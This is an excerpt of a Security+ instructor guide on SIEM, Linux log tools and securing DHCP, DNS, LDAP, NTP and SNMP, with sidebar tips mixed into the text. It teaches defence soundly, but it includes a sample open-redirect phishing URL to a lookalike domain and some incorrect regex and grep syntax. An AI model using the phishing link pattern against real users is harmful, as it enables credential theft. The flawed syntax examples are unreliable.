LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 275

Topic 10C
Summarize the Use of SIEM

EXAM OBJECTIVES COVERED Teaching

1.7 Summarize the techniques used in security assessments Tip
3.3 Given a scenario, implement secure network designs
SIEM can be a
4.1 Given a scenario, use the appropriate tool to assess organizational security complex technology
to implement. Focus
There are many types of security controls that can be deployed to protect networks, on identifying the
hosts, and data. One thing that all these controls have in common is that they components of a SIEM
system and sources of
generate log data and alerts. Reviewing this output is one of the principal challenges data.
in information security management. As a security professional, you must be able to
describe, install, and configure systems to manage logging and events.

Monitoring Services Show Slide(s)

Security assessments and incident response both require real-time monitoring of host
Monitoring Services
and network status indicators plus audit information.
Teaching
Packet Capture Tip
Data captured from network sensors/sniffers plus netflow sources provides both Give an overview of
the types of data that
summary statistics about bandwidth and protocol usage and the opportunity for
need to be collected,
detailed frame analysis. aggregated, and
analyzed.
Network Monitors
As distinct from network traffic monitoring, a network monitor collects data about
network appliances, such as switches, access points, routers, firewalls, and servers. This
is used to monitor load status for CPU/memory, state tables, disk capacity, fan speeds/
temperature, network link utilization/error statistics, and so on. Another important
function is a heartbeat message to indicate availability. This data might be collected
using the Simple Network Management Protocol (SNMP) or a proprietary management
system. As well as supporting availability, network monitoring might reveal unusual
conditions that could point to some kind of attack.

Logs
Logs are one of the most valuable sources of security information. A system log can
be used to diagnose availability issues. A security log can record both authorized and
unauthorized uses of a resource or privilege. Logs function both as an audit trail of
actions and (if monitored regularly) provide a warning of intrusion attempts. Log review
is a critical part of security assurance. Only referring to the logs following a major
incident is missing the opportunity to identify threats and vulnerabilities early and to
respond proactively.

Logs typically associate an action with a particular user. This is one of the reasons that it
is critical that users not share logon details. If a user account is compromised, there is no
means of tying events in the log to the actual attacker.

Lesson 10: Implementing Network Security Appliances | Topic 10C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 276 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Security Information and Event Management

Security Information
Software designed to assist with managing security data inputs and provide reporting
and Event and alerting is often described as security information and event management
Management (SIEM). The core function of an SIEM tool is to aggregate traffic data and logs. In
addition to logs from Windows and Linux-based hosts, this could include switches,
Teaching routers, firewalls, IDS sensors, vulnerability scanners, malware scanners, data loss
Tip prevention (DLP) systems, and databases.
Point out the
difference between
sensor/collector
placement and
the location of the
correlation and
reporting server.

OSSIM SIEM dashboard—Configurable dashboards provide the high-level status view of network
security metrics. (Screenshot used with permission from AT&T Cybersecurity.)

Log Collection
The first task for SIEM is to collect data inputs from multiple sources. There are three
main types of log collection:
• Agent-based—with this approach, you must install an agent service on each host. As
events occur on the host, logging data is filtered, aggregated, and normalized at the
host, then sent to the SIEM server for analysis and storage.

• Listener/collector—rather than installing an agent, hosts can be configured to

push updates to the SIEM server using a protocol such as syslog or SNMP. A process
runs on the management server to parse and normalize each log/monitoring
source.

Syslog (tools.ietf.org/html/rfc3164) allows for centralized collection of events from

multiple sources. It also provides an open format for event logging messages, and
as such has become a de facto standard for logging of events from distributed
systems. For example, syslog messages can be generated by Cisco routers and
switches, as well as servers and workstations.

• Sensor—as well as log data, the SIEM might collect packet captures and traffic flow
data from sniffers.

Lesson 10: Implementing Network Security Appliances | Topic 10C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 277

Enabling a log parser plug-in for a pfSense security appliance so that firewall events can be imported
into the SIEM. (Screenshot used with permission from AT&T Cybersecurity.)

Log Aggregation
As distinct from collection, aggregation refers to normalizing data from different
sources so that it is consistent and searchable. SIEM software features connectors
or plug-ins to interpret (or parse) data from distinct types of systems and to account
for differences between vendor implementations. Usually parsing will be carried out
using regular expressions tailored to each log file format to identify attributes and
content that can be mapped to standard fields in the SIEM's reporting and analysis
tools. Another important function is to normalize date/time zone differences to a
single timeline.

Analysis and Report Review Show Slide(s)

Where collection and aggregation produce inputs, a SIEM is also used for reporting. Analysis and Report
A critical function of SIEM—and the principal factor distinguishing it from basic log Review
management—is that of correlation. This means that the SIEM software can link
individual events or data points (observables) into a meaningful indicator of risk, Teaching
or Indicator of Compromise (IOC). Correlation can then be used to drive an alerting Tip
system. These reports would be viewed from the SIEM dashboard. Note that we will
return to the use of
Basic correlation can be performed using simple If … Then type rules. However, many SIEM and SOAR in the
SIEM solutions use artificial intelligence (AI) and machine learning as the basis for lesson on incident
automated analysis. response. Here, equip
students with a broad
User and Entity Behavior Analytics overview of product
capabilities.
A user and entity behavior analytics (UEBA) solution supports identification of malicious
behaviors from comparison to a baseline. As the name suggests, the analytics software
tracks user account behavior across different devices and cloud services. Entity refers
to machine accounts, such as client workstations or virtualized server instances, and
to embedded hardware, such as Internet of Things (IoT) devices. The complexity of

Lesson 10: Implementing Network Security Appliances | Topic 10C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 278 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

determining baselines and reducing false positives means that UEBA solutions are
heavily dependent on AI and machine learning. Examples include Microsoft's Advanced
Threat Analytics (docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata) and
Splunk UEBA (splunk.com/en_us/software/user-behavior-analytics.html).

Sentiment Analysis
One of the biggest challenges for behavior analytics driven by machine learning is
to identify intent. It is extremely difficult for a machine to establish the context and
interpretation of statements in natural language, though much progress is being made.
The general efforts in this area are referred to as sentiment analysis, or emotion
AI. The typical use case for sentiment analysis is to monitor social media for brand
"incidents," such as a disgruntled customer announcing on Twitter what poor customer
service they have just received. In terms of security, this can be used to gather threat
intelligence and try to identify external or insider threats before they can develop as
attacks.

Security Orchestration, Automation, and Response

Security orchestration, automation, and response (SOAR) is designed as a solution to
the problem of the volume of alerts overwhelming analysts' ability to respond. A SOAR
may be implemented as a standalone technology or integrated with a SIEM—often
referred to as a next-gen SIEM. The basis of SOAR is to scan the organization's store
of security and threat intelligence, analyze it using machine/deep learning techniques,
and then use that data to automate and provide data enrichment for the workflows
that drive incident response and threat hunting.

Show Slide(s) File Manipulation

File Manipulation
While SIEM can automate many functions of log collection and review, you may also
have to manually prepare data using a Linux command line.

The cat Command

The Linux command cat allows you to view the contents of one or more files. For
example, if you want to view the whole contents of two rotated log files, you could run:
cat -n access.log access2.log
The -n switch adds line numbers. If you wanted to output to a new file rather than the
terminal, you can run:
cat -n access.log access2.log > access_cat.log

The head and tail Commands

The head and tail commands output the first and last 10 lines respectively of a file you
provide. You can also adjust this default value to output more or fewer lines using the
-n switch. For example, the following command shows the 20 most recent entries in a
log file:
tail /var/log/messages -n 20
The logger Command
The logger command writes input to the local system log or to a remote syslog server
(linux.die.net/man/1/logger). You can use the command in a script to write any text
string or use the -f option to write the contents of another file. You can also write the
output of commands by enclosing the command in backticks. The following command

Lesson 10: Implementing Network Security Appliances | Topic 10C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 279

writes the name of the local machine along with the text "up" to the syslog server at
10.1.0.242:
logger -n 10.1.0.242 `hostname` up

Regular Expressions and grep Show Slide(s)

Filtering a log to discover data points of interest usually involves some sort of string Regular Expressions
search, typically invoking regular expression (regex) syntax. A regular expression is and grep
a search pattern to match within a given string. The search pattern is built from the
regex syntax. This syntax defines metacharacters that function as search operators,
quantifiers, logic statements, and anchors/boundaries. The following list illustrates
some commonly used elements of regex syntax:
• [ … ] matches a single instance of a character within the brackets. This can
include literals, ranges such as [a-z], and token matches, such as [\s] (white
space) or [\d] (one digit).

• + matches one or more occurrences. A quantifier is placed after the term to match;
for example, \s+ matches one or more white space characters.

• * matches zero or more times.

• ? matches once or not at all.
• {} matches a number of times. For example, {2} matches two times, {2,}
matches two or more times, and {2-5} matches two to five times.

A complete description of regex syntax is beyond the scope of this course, but you can use
an online reference such as regexr.com or rexegg.com to learn it.

The grep command invokes simple string matching or regex syntax to search text files
for specific strings. This enables you to search the entire contents of a text file for a
specific pattern within each line and display that pattern on the screen or dump it to
another file. A simple example of grep usage is as follows:
grep -F 192.168.1.254 access.log
This searches the text file access.log for all lines containing some variation of the literal
string pattern 192.168.1.254 and prints only those lines to the terminal. The -F
switch instructs grep to treat the pattern as a literal.
The following example searches for any IP address in the 192.168.1.0/24 subnet using
regex syntax for the pattern (note that each period must be escaped) within any file in
any directory from the current one. The -r option enables recursion, while the period
in the target part indicates the current directory:
grep -r 192\.168\.1\.[\d]{1,3}

Lesson 10: Implementing Network Security Appliances | Topic 10C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 280 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Use of SIEM
Answer the following questions:

1. What is the purpose of SIEM?

Security information and event management (SIEM) products aggregate IDS alerts and
host logs from multiple sources, then perform correlation analysis on the observables
collected to identify indicators of compromise and alert administrators to potential
incidents.

2. What is the difference between a sensor and a collector, in the context of

SIEM?

A SIEM collector parses input (such as log files or packet traces) into a standard format
that can be recorded within the SIEM and interpreted for event correlation. A sensor
collects data from the network media.

3. Does Syslog perform all the functions of a SIEM?

No, syslog allows remote hosts to send logs to a server, but syslog does not aggregate/
normalize the log data or run correlation rules to identify alertable events.

4. You are writing a shell script to display the last 5 lines of a log file at /var/
log/audit in a dashboard. What is the Linux command to do this?

tail /var/log/audit -n 5

5. What is the principal use of grep in relation to log files?

grep is used to search the content of files.

Lesson 10: Implementing Network Security Appliances | Topic 10C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 281

Lesson 10
Summary
You should be able to use network appliances such as firewalls, proxies, IDS, and SIEM Teaching
collectors/aggregators to implement secure network designs. Tip
Check that students
Guidelines for Implementing Network Security Appliances are confident about
the content that has
Follow these guidelines when you deploy new or upgrade security appliances: been covered. If there
is time, re-visit any
• Identify the security requirements for a network zone or area and determine the content examples that
appropriate security technology to use: they have questions
about. If you have
• Network firewall to apply an ACL to incoming and outgoing traffic. used all the available
time for this lesson
• IDS, IPS, or next-gen firewall to implement signature and/or behavior-based block, note the issues,
and schedule time for
threat detection.
a review later in the
course.
• Content filter to control outbound user access to sites and services.
Interaction
• UTM to implement multiple controls within a single appliance and reporting Opportunity
interface.
Optionally, discuss
• Assess whether endpoints within the zone should be protected by additional with students how
security, such as host-based firewalls, WAFs, or file integrity monitoring. complex security
functions can be
• Evaluate the commercial model and determine whether proprietary or open-source implemented as
either separate
is the best fit for your requirements. or consolidated
solutions. Check if
• Document and test the ACL or other security configuration when implementing the students have any
device to ensure that it meets the design goals. positive or negative
experience of SIEM.
• Implement an appropriate method of log and network data collection and
aggregation to ensure monitoring and review of security events:

• Manual methods using syslog and file manipulation tools (head, tail, cat, grep,
logger).

• Security information and event management (SIEM) products.

• Security orchestration, automation, and response (SOAR) products.

Lesson 10: Implementing Network Security Appliances

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 11
Implementing Secure
Network Protocols

LESSON INTRODUCTION Teaching

Tip
When hosts join a network, they need to be configured with the appropriate settings Moving on from
for that network. The services that provide these settings, such as DHCP and DNS, security appliances,
must be deployed securely. When hosts access data using server applications, such this lesson looks
as web/HTTP, email, and VoIP, the communications between clients and servers must at network service
be managed using secure versions of the application protocols. You will also need to infrastructure
and security
configure secure protocols that allow users to access networks, host desktops, and
considerations,
appliance configuration interfaces remotely. including access
protocols such as
Lesson Objectives addressing (DHCP),
name resolution
(DNS), applications
In this lesson, you will: (web, file transfer,
• Implement secure network operations protocols. email, and VoIP),
remote access/
• Implement secure application protocols. VPN, and remote
management.
• Implement secure remote access protocols.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 284 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 11A
Implement Secure Network
Operations Protocols

Teaching EXAM OBJECTIVES COVERED

Tip 1.4 Given a scenario, analyze potential indicators associated with network attacks
While they are all 3.1 Given a scenario, implement secure protocols
application layer
protocols in OSI/
TCP/IP model terms,
Unsecure protocols can be exploited by attackers to compromise data security and
this topic focuses systems integrity. In this topic, you will examine some of the protocols and services
on protocols that providing addressing, name resolution, directory services, time synchronization, and
provide "low-level" monitoring services for network hosts. These network operations protocols might
functionality. not be as visible as applications such as web and email servers, but they are critical to
As well as part of 3.1, secure network infrastructure.
this topic covers DNS
attacks from 1.4.
Network Address Allocation
Show Slide(s)
Most networks use a mixture of static and dynamic address allocation. Interface
addresses for routers, firewalls, and some types of servers are best assigned and
Network Address
Allocation
managed manually. Other server services and client workstations can be assigned
dynamic IP configurations and accessed using name resolution.
Teaching The Dynamic Host Configuration Protocol (DHCP) provides an automatic method for
Tip network address allocation. The key point about DHCP is that only one server should
DHCP can be abused be offering addresses to any one group of hosts. If a rogue DHCP server is set up, it can
to perform DoS, perform DoS (as client machines will obtain an incorrect TCP/IP configuration) or be
snooping, or spoofing
used to snoop network information. DHCP starvation is a type of DoS attack where a
attacks. DHCP isn't
specifically a content rogue client repeatedly requests new IP addresses using spoofed MAC addresses, with
example (other the aim of exhausting the IP address pool. This makes it more likely that clients seeking
than by reference an address lease will use the rogue DHCP server.
to network address
allocation), but is Enabling the DHCP snooping port security feature on a switch can mitigate rogue DHCP
important enough to attacks. Windows DHCP servers in an AD environment automatically log any traffic
spend some time on. detected from unauthorized DHCP servers. More generally, administration of the
DHCP server itself must be carefully controlled and the settings checked regularly. If an
attacker compromises the DHCP server, he or she could point network clients to rogue
DNS servers and use that as a means to direct users to spoofed websites. Another
attack is to redirect traffic through the attacker's machine by changing the default
gateway, enabling the attacker to snoop on all network traffic.

Lesson 11: Implementing Secure Network Protocols | Topic 11A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 285

Attacking network address allocation—a script exhausts the DHCP pool while another runs a rogue
DHCP server. A third tool operates a rogue DNS to supply spoofed information to clients configured to
use the attack machine as a DNS server, via the rogue DHCP configuration.

Domain Name Resolution Show Slide(s)

The Domain Name System (DNS) resolves fully qualified domain names (FQDNs) to IP Domain Name
addresses. It uses a distributed database system that contains information on domains Resolution
and hosts within those domains. The information is distributed among many name
servers, each of which holds part of the database. The name servers work over port 53. Teaching
Domain name resolution is a security-critical service and the target of many attacks on Tip
both local network and the Internet. Hopefully students
understand the basic
Domain Hijacking function of DNS and
the use of resource
Domain hijacking is an attack where an adversary acquires a domain for a company's records. The attacks
trading name or trademark, or perhaps some spelling variation thereof. While there shown here focus on
the registration of
are often trademark and intellectual property laws against doing this, companies need
domains.
to be careful to renew domain names that they want to continue to use and to protect
the credentials used to manage the registration. A domain name must be re-registered
every year.
In a domain hijacking attack an adversary gains control over the registration of a
domain name, allowing the host records to be configured to IP addresses of the
attacker's choosing. This might be accomplished by supplying false credentials to the
domain registrar when applying for a new domain name or re-registering an existing
one. An attacker might also be able to exploit the legitimate account used to manage
the domain (via a weak password or malware installed on a client computer) or even
to compromise the domain registrar's security procedures in some way (upguard.com/
blog/domain-hijacking).

Lesson 11: Implementing Secure Network Protocols | Topic 11A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 286 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

A company whose domain has been hijacked is likely to find that they are locked out
of the registrar's management console, or that the domain has been transferred to
another registrar, often operating in a different country. The whois command can be
used to lookup domain registration information to try to detect misuse in other cases.

Uniform Resource Locator (URL) Redirection

A uniform resource locator (URL) is an address for the pages and files published
as websites. A URL comprises a FQDN, file path, and often script parameters. URL
redirection refers to the use of HTTP redirects to open a page other than the one
the user requested. This is often used for legitimate purposes—to send the user to a
login page or to send a mobile device browser to a responsive version of the site, for
instance. If the redirect is not properly validated by the web application, an attacker
can craft a phishing link that might appear legitimate to a naïve user, such as:
https://trusted.foo/login.php?url="https://
tru5ted.foo"
A threat actor could also compromise a web server and add redirects in .htaccess files.
A redirect could also be inserted as JavaScript, either through compromising the server
or by uploading a script via a poorly validated form.

Show Slide(s) Domain Reputation

If your domain, website, or email servers have been hijacked, they are likely to be used
DNS Poisoning for spam or distributing malware. This will lead to complaints and the likelihood of the
domain being listed on a blacklist. You should set up monitoring using a site such as
Teaching
talosintelligence.com/reputation_center to detect misuse early.
Tip
Most OSes will use
HOSTS before any DNS Poisoning
other type of name
resolution, though DNS poisoning is an attack that compromises the process by which clients query
this behavior can be name servers to locate the IP address for a FQDN. There are several ways that a DNS
changed. poisoning attack can be perpetrated.
The syllabus isn't
specific about client Man in the Middle
versus server-side
cache poisoning. If the threat actor has access to the same local network as the victim, the attacker can
Server-side is much
use ARP poisoning to respond to DNS queries from the victim with spoofed replies.
harder to achieve.
One well-known DNS This might be combined with a denial of service attack on the victim's legitimate DNS
server cache poisoning server. A rogue DHCP could be used to configure clients with the address of a rogue
exploit involves a DNS resolver.
weakly generated
transaction ID, used DNS Client Cache Poisoning
as a rudimentary form
of authentication Before DNS was developed in the 1980s, name resolution took place using a text file
when a DNS client
named HOSTS. Each name:IP address mapping was recorded in this file and system
or server makes a
request to another administrators had to download the latest copy and install it on each Internet client
server to resolve a or server manually. Even though all name resolution now functions through DNS, the
domain name. An HOSTS file is still present and most operating systems check the file before using DNS.
attacker able to guess Its contents are loaded into a cache of known name:IP mappings and the client only
these parameters contacts a DNS server if the name is not cached. Therefore, if an attacker is able to
might be able to reply
place a false name:IP address mapping in the HOSTS file and effectively poison the DNS
with a false address
(secureworks.com/ cache, he or she will be able to redirect traffic. The HOSTS file requires administrator
blog/dns-cache- access to modify. In UNIX and Linux systems it is stored as /etc/hosts, while in Windows
poisoning). it is placed in %SystemRoot%\System32\Drivers\etc\hosts.

Lesson 11: Implementing Secure Network Protocols | Topic 11A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 287

DNS Server Cache Poisoning

DNS server cache poisoning aims to corrupt the records held by the DNS server
itself. This can be accomplished by performing DoS against the server that holds the
authorized records for the domain, and then spoofing replies to requests from other
name servers. Another attack involves getting the victim name server to respond to
a recursive query from the attacking host. A recursive query compels the DNS server
to query the authoritative server for the answer on behalf of the client. The attacker's
DNS, masquerading as the authoritative name server, responds with the answer to
the query, but also includes a lot of false domain:IP mappings for other domains that
the victim DNS accepts as genuine. The nslookup or dig tool can be used to query
the name records and cached records held by a server to discover whether any false
records have been inserted.

DNS Security Show Slide(s)

DNS is a critical service that should be configured to be fault tolerant. DoS attacks DNS Security
are hard to perform against the servers that perform Internet name resolution, but if
an attacker can target the DNS server on a private network, it is possible to seriously Teaching
disrupt the operation of that network. Tip
To ensure DNS security on a private network, local DNS servers should only accept The majority of Top
Level Domains (TLDs)
recursive queries from local hosts (preferably authenticated local hosts) and not from
and country code TLDs
the Internet. You also need to implement access control measures on the server, to are signed. Otherwise,
prevent a malicious user from altering records manually. Similarly, clients should be adoption of DNSSEC
restricted to using authorized resolvers to perform name resolution. is patchy except in
the .gov domain. You
Attacks on DNS may also target the server application and/or configuration. Many can refer students
DNS services run on BIND (Berkley Internet Name Domain), distributed by the Internet to charts about
Software Consortium (isc.org). There are known vulnerabilities in many versions of the DNSSEC adoption at
BIND server, so it is critical to patch the server to the latest version. The same general internetsociety.org/
advice applies to other DNS server software, such as Microsoft's. Obtain and check deploy360/dnssec/
statistics.
security announcements and then test and apply critical and security-related patches
and upgrades.
DNS footprinting means obtaining information about a private network by using
its DNS server to perform a zone transfer (all the records in a domain) to a rogue
DNS or simply by querying the DNS service, using a tool such as nslookup or
dig. To prevent this, you can apply an Access Control List to prevent zone transfers
to unauthorized hosts or domains, to prevent an external server from obtaining
information about the private network architecture.
DNS Security Extensions (DNSSEC) help to mitigate against spoofing and poisoning
attacks by providing a validation process for DNS responses. With DNSSEC enabled,
the authoritative server for the zone creates a "package" of resource records (called an
RRset) signed with a private key (the Zone Signing Key). When another server requests
a secure record exchange, the authoritative server returns the package along with its
public key, which can be used to verify the signature.
The public zone signing key is itself signed with a separate Key Signing Key. Separate
keys are used so that if there is some sort of compromise of the zone signing key, the
domain can continue to operate securely by revoking the compromised key and issuing
a new one.

Lesson 11: Implementing Secure Network Protocols | Topic 11A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 288 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Windows Server DNS services with DNSSEC enabled. (Screenshot used with permission from Microsoft.)

The Key Signing Key for a particular domain is validated by the parent domain or
host ISP. The top-level domain trusts are validated by the Regional Internet Registries
and the DNS root servers are self-validated, using a type of M-of-N control group key
signing. This establishes a chain of trust from the root servers down to any particular
subdomain.

Show Slide(s) Secure Directory Services

Secure Directory
A network directory lists the subjects (principally users, computers, and services) and
Services objects (such as directories and files) available on the network plus the permissions
that subjects have over objects. A directory facilitates authentication and authorization,
Teaching and it is critical that it be maintained as a highly secure service. Most directory services
Tip are based on the Lightweight Directory Access Protocol (LDAP), running over port
Using TLS as part 389. The basic protocol provides no security and all transmissions are in plaintext,
of SASL (STARTTLS) making it vulnerable to sniffing and man-in-the-middle attacks. Authentication
is referred to as (referred to as binding to the server) can be implemented in the following ways:
opportunistic
encryption. • No authentication—anonymous access is granted to the directory.

• Simple bind—the client must supply its distinguished name (DN) and password, but
these are passed as plaintext.

• Simple Authentication and Security Layer (SASL)—the client and server negotiate
the use of a supported authentication mechanism, such as Kerberos. The STARTTLS
command can be used to require encryption (sealing) and message integrity
(signing). This is the preferred mechanism for Microsoft's Active Directory (AD)
implementation of LDAP.

• LDAP Secure (LDAPS)—the server is installed with a digital certificate, which it uses
to set up a secure tunnel for the user credential exchange. LDAPS uses port 636.

Lesson 11: Implementing Secure Network Protocols | Topic 11A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 289

If secure access is required, anonymous and simple authentication access methods

should be disabled on the server.
Generally two levels of access will need to be granted on the directory: read-only
access (query) and read/write access (update). This is implemented using an access
control policy, but the precise mechanism is vendor-specific and not specified by the
LDAP standards documentation.
Unless hosting a public service, the LDAP directory server should also only be
accessible from the private network. This means that the LDAP port should be blocked
by a firewall from access over the public interface. If there is integration with other
services over the Internet, ideally only authorized IPs should be permitted.

Time Synchronization Show Slide(s)

Many applications on networks are time dependent and time critical. These include Time Synchronization
authentication and security mechanisms, scheduling applications, and backup
software. The Network Time Protocol (NTP) provides a transport over which to
Teaching
synchronize these time dependent applications. NTP works over UDP on port 123.
Tip
Top-level NTP servers (stratum 1) obtain the Coordinated Universal Time (UTC) from Most authentication
a highly accurate clock source, such as an atomic clock. Lower tier servers then and access control
obtain the UTC from multiple stratum 1 servers and sample the results to obtain an protocols are critically
authoritative time. Most organizations will use one of these stratum 2 servers to obtain dependent on time
synchronization.
the time for use on the LAN. Servers at lower tiers may then perform the same sort of Note the impact on
sampling operation, adjust for the delay involved in propagating the signal, and provide forensics and log
the time to clients. Clients themselves usually obtain the time using a modified form of analysis. If anyone's
the protocol (Simple NTP). confused by the
abbreviation UTC,
NTP has historically lacked any sort of security mechanism, but there are moves explain that it's
to create a security extension for the protocol called Network Time Security language independent
(blog.cloudflare.com/secure-time). to keep both the
British and the French
happy (or unhappy,
Simple Network Management Protocol Security perhaps).

The Simple Network Management Protocol (SNMP) is a widely used framework for Show Slide(s)
management and monitoring. SNMP consists of an SNMP monitor and agents.
• The agent is a process (software or firmware) running on a switch, router, server, or Simple Network
Management Protocol
other SNMP-compatible network device.
Security
• This agent maintains a database called a management information base (MIB) that
Teaching
holds statistics relating to the activity of the device (for example, the number of
Tip
frames per second handled by a switch). The agent is also capable of initiating a trap
SNMP is one of those
operation where it informs the management system of a notable event (port failure,
services that should
for instance). The threshold for triggering traps can be set for each value. Device be shut down if it is
queries take place over port 161 (UDP); traps are communicated over port 162 (also not being used. SNMP
UDP). may run on devices
such as switches,
• The SNMP monitor (a software program) provides a location from which network firewalls, and printers.
activity can be overseen. It monitors all agents by polling them at regular intervals
for information from their MIBs and displays the information for review. It also
displays any trap operations as alerts for the network administrator to assess and
act upon as necessary.

If SNMP is not used, you should remember to change the default configuration
password and disable it on any SNMP-capable devices that you add to the network. If
you are running SNMP v1 or v2c, keep to the following guidelines:
• SNMP community names are sent in plaintext and so should not be transmitted
over the network if there is any risk that they could be intercepted.

Lesson 11: Implementing Secure Network Protocols | Topic 11A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 290 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Use difficult to guess community names; never leave the community name blank or
set to the default.

• Use Access Control Lists to restrict management operations to known hosts (that is,
restrict to one or two host IP addresses).

• SNMP v3 supports encryption and strong user-based authentication. Instead of

community names, the agent is configured with a list of usernames and access
permissions. When authentication is required, the SNMP message is signed with a
hash of the user's passphrase. The agent can verify the signature and authenticate
the user using its own record of the passphrase.

Lesson 11: Implementing Secure Network Protocols | Topic 11A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 291

Review Activity:
Secure Network Operations Protocols
Answer the following questions:

1. What vulnerabilities does a rogue DHCP server expose users to?

Denial of service (providing an invalid address configuration) and spoofing (providing a

malicious address configuration—one that points to a malicious DNS, for instance).

2. Why is it vital to ensure the security of an organization's DNS service?

DNS resolves domain names. If it were to be corrupted, users could be directed to

spoofed websites. Disrupting DNS can also perform denial of service.

3. True or false? The contents of the HOSTS file are irrelevant as long as a DNS
service is properly configured.

False (probably)—the contents of the HOSTS file are written to the DNS cache on
startup. It is possible to edit the registry to prioritize DNS over HOSTS, though.

4. What is DNS server cache poisoning?

Corrupting the records of a DNS server to point traffic destined for a legitimate domain
to a malicious IP address.

5. True or false? DNSSEC depends on a chain of trust from the root

servers down.

True.

6. What are the advantages of SASL over LDAPS?

The Simple Authentication and Security Layer (SASL) allows a choice of authentication
providers and encryption (sealing)/integrity (signing) mechanisms. By contrast, LDAPS
uses Transport Layer Security (TLS) to encrypt traffic, but users still authenticate via
simple binding. Also, SASL is the standards-based means of configuring LDAP security.

7. What steps should you take to secure an SNMPv2 service?

Configure strong community names and use access control lists to restrict
management operations to known hosts.

Lesson 11: Implementing Secure Network Protocols | Topic 11A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 292 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 11B
Implement Secure Application Protocols

Teaching EXAM OBJECTIVES COVERED

Tip 2.1 Explain the importance of security concepts in an enterprise environment
3.1 Given a scenario, implement secure protocols
This topic looks at
security and message
authentication and
confidentiality for The network infrastructure of switches, routers, access points, and secure hosts is
web, file transfer,
implemented for the purpose of running services. The application protocols that
and communications
protocols, such as enable web, email, and VoIP require secure configuration too.
email and VoIP.
As well as sections of Hypertext Transfer Protocol and Web Services
the 3.1 objective, this
topic covers TLS and The foundation of web technology is the HyperText Transfer Protocol (HTTP). HTTP
API considerations
enables clients (typically web browsers) to request resources from an HTTP server. A
from the 2.1 objective.
client connects to the HTTP server using an appropriate TCP port (the default is port
Show Slide(s) 80) and submits a request for a resource, using a uniform resource locator (URL). The
server acknowledges the request and responds with the data (or an error message).
Hypertext Transfer The response and request formats are defined in an HTTP header. The HTTP payload
Protocol and Web is usually used to serve HTML web pages, which are plain text files with coded tags
Services
(HyperText Markup Language) describing how the page should be formatted. A web
Teaching browser can interpret the tags and display the text and other resources associated with
Tip the page, such as binary picture or sound files linked to the HTML page.
Stress that HTTP HTTP also features a forms mechanism (POST) whereby a user can submit data from
transfers all the client to the server. HTTP is nominally a stateless protocol; this means that the
information in server preserves no information about the client during a session. However, the
plain text and can
basic functionality of HTTP servers is often extended by support for scripting and
be intercepted by
a packet sniffer on programmable features (web applications). Servers can also set text file cookies to
the same network preserve session information. These coding features plus integration with databases
segment. increase flexibility and interactivity, but also the attack surface and expose more
vulnerabilities.

Many argue that HTTP is a stateful protocol. Version 2 of HTTP adds more state-preserving
features (blog.zamicol.com/2017/05/is-http2-stateful-protocol-application.html).

Show Slide(s)

Transport Layer
Transport Layer Security
Security
As with other early TCP/IP application protocols, HTTP communications are not
Teaching
secured. Secure Sockets Layer (SSL) was developed by Netscape in the 1990s to
Tip
address the lack of security in HTTP. SSL proved very popular with the industry, and
it was quickly adopted as a standard named Transport Layer Security (TLS). It is
Point out that SSL
can be used with
typically used with the HTTP application (referred to as HTTPS or HTTP Secure) but can
applications other also be used to secure other application protocols and as a virtual private networking
than HTTP. (VPN) solution.

Lesson 11: Implementing Secure Network Protocols | Topic 11B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 293

To implement TLS, a server is assigned a digital certificate signed by some trusted Interaction
certificate authority (CA). The certificate proves the identity of the server (assuming that Opportunity
the client trusts the CA) and validates the server's public/private key pair. The server If there is time, get
uses its key pair and the TLS protocol to agree mutually supported ciphers with the students to examine
client and negotiate an encrypted communications session. the TLS 1.2 and TLS
1.3 handshakes in a
HTTPS operates over port 443 by default. HTTPS operation is indicated by using https:// for packet capture. You
can also note the use
the URL and by a padlock icon shown in the browser.
of about:config to
modify the default
version preferences
for the browser.
It is also possible to install a certificate on the client so that the server can trust the
client. This is not often used on the web but is a feature of VPNs and enterprise
